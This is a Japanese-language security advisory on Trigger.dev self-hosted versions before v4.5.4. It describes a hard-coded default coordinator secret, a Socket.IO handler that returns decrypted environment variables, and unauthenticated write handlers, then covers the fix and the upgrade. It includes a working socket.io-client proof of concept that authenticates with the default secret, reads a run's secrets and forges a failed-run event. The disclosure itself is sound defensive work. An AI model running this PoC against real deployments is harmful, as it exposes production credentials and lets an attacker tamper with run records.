Trigger.dev: V1コーディネーターのデフォルトシークレットに関するSocket.IOの認証に関する問題

## 要約

`/coordinator`のSocket.IOネームスペースは、すべてのWebアプリケーションの起動時にマウントされ、ソースコードに組み込まれたデフォルトのシークレット("coordinator-secret")を使用して認証を行います。このオーバーライド変数は、自己ホストに関するドキュメント、`.env.example`ファイル、またはHelmのvaluesファイルには記載されていません。そのため、ソースコードを読んでいない運用担当者は、デフォルト設定のまま利用することになります。接続後、`READY_FOR_EXECUTION`は、実行中の環境変数の復号された値を返します。デフォルト設定で自己ホストされたWebアプリケーションにアクセスできるユーザーは、内部IDが判明している任意の実行から、プロダクションのシークレットを引き出すことができます。

## 脆弱性

この攻撃は、Trigger.devの以下の3つの脆弱性によって可能になります。

### 1. ハードコードされたデフォルト認証シークレット(CWE-798、重大)
`PROVIDER_SECRET`と`COORDINATOR_SECRET`は、[`apps/webapp/app/env.server.ts:289-290`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/env.server.ts#L289-L290)で`.default("provider-secret")` / `.default("coordinator-secret")`として宣言されています。これらの値は、パブリックなソースコードリポジトリに存在し、どちらの変数も`docs/self-hosting/env/*.mdx`、`hosting/docker/.env.example`、または`hosting/k8s/helm/values.yaml`には記載されていません。また、[`packages/core/src/v3/zodNamespace.ts:148`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/packages/core/src/v3/zodNamespace.ts#L148)で行われている認証チェックは、公開されている値との単純な文字列比較です。

### 2. コーディネーターハンドラは、認証されたクライアントに対して、復号化された環境変数を返す (CWE-200、重大)
`READY_FOR_EXECUTION` が [`apps/webapp/app/v3/handleSocketIo.server.ts:123`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/handleSocketIo.server.ts#L123) で呼び出され、`sharedQueueTasks.getLatestExecutionPayloadFromRun(runId, ...)` が [`apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts:1881-1895`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts#L1881-L1895) で呼び出されると、`payload.environment` が実行の復号化された環境変数辞書として返されます。テナントに関係なく、内部の `runId` がわかれば、その実行のすべての環境変数を取得できます。注意: この読み取りハンドラは V1 のみに存在する `marqs/` コードに存在するため、V2 (Run Engine 2.0) の実行では何も返しません。V1 のままのセルフホスト環境では完全に脆弱です。V4 のみでデプロイされた環境では、以下の書き込みハンドラしか表示されません。

### 3. その他のコーディネーターハンドラは、攻撃者が制御する書き込み操作を、任意の実行に対して許可する (CWE-862、重大)
`TASK_RUN_COMPLETED`、`TASK_RUN_COMPLETED_WITH_ACK`、`TASK_RUN_FAILED_TO_RUN`、`CHECKPOINT_CREATED`、`CREATE_WORKER` などは、攻撃者が提供する完了/試行/ワーカーのペイロードを使用して、ウェブアプリケーションのサービスを呼び出します。これらのハンドラは、メッセージ内の `runId` または `attemptId` に対して、呼び出し元が権限を持っているかどうかを確認しません。`attempt_*` に関連する ID は、すべてのダッシュボードの URL やメール通知に表示されるため、内部 ID を知らなくても簡単に書き込み操作を実行できます。

## 脆弱性チェーン / PoC

```js
import { io } from "socket.io-client";

const sock = io("https://<セルフホスト環境のターゲット>/coordinator", {
auth: { token: "coordinator-secret" },
transports: ["websocket"],
});

sock.on("connect", () => {
// 既知の run id に対して、復号化された環境変数を取得する
sock.emit("READY_FOR_EXECUTION", { runId: "<runId>", totalCompletions: 0 }, (res) => {
console.log(res.payload.environment);
// { DATABASE_URL: "...", STRIPE_SECRET_KEY: "...", OPENAI_API_KEY: "...", ... }
});
```

```
// 実行に失敗した場合は、以下のイベントを発行します。
sock.emit("TASK_RUN_FAILED_TO_RUN", {
completion: {
id: "<attempt_friendlyId>",
ok: false,
error: { type: "INTERNAL_ERROR", code: "FORGED", message: "owned" },
},
});
});
```

## 修正内容

**v4.5.4** で修正されました。コミット `5ba8557a5` (#4236) で、V1 (Run Engine 1.0) の実行環境全体が削除されました。これには、`/coordinator`、`/provider`、および `/shared-queue` の Socket.IO 名前空間、`packages/core/src/v3/zodNamespace.ts`、`marqs` 共有キューコンシューマー、および `PROVIDER_SECRET` / `COORDINATOR_SECRET` 環境変数が含まれます。

v4.5.4 以降のバージョンでは、これらの脆弱性はすべて修正されています。脆弱な名前空間はマウントされなくなり、`READY_FOR_EXECUTION` 環境変数の読み取りハンドラと認証されていない書き込みハンドラは存在しなくなり、ハードコードされたデフォルトのシークレットも削除されました。

**影響を受けるもの:** Trigger.dev のセルフホスト環境で、バージョンが **v4.5.4 より前のもの**。脆弱性 #2 (暗号化された環境変数の不正取得) は、Run Engine 1.0 がまだ動作している環境でのみ発生します。v4 だけで構成された (Run Engine 2.0) 環境では、書き込みハンドラ (#3) のみが影響を受けます。

**マネージドクラウド (cloud.trigger.dev) は影響を受けません:** デフォルトとは異なるコントロールプレーンのシークレットが設定されていたため、デフォルトのシークレットのエントリーポイント (脆弱性 #1) が適用されることはありませんでした。

**対応:** v4.5.4 より前のバージョンのセルフホスト環境では、v4.5.4 以降のバージョンにアップグレードしてください。

影響を受けるパッケージ:
- npm (JavaScript) trigger.dev: 影響を受けるバージョンは v4.5.4 より前、v4.5.4 で修正されました。
```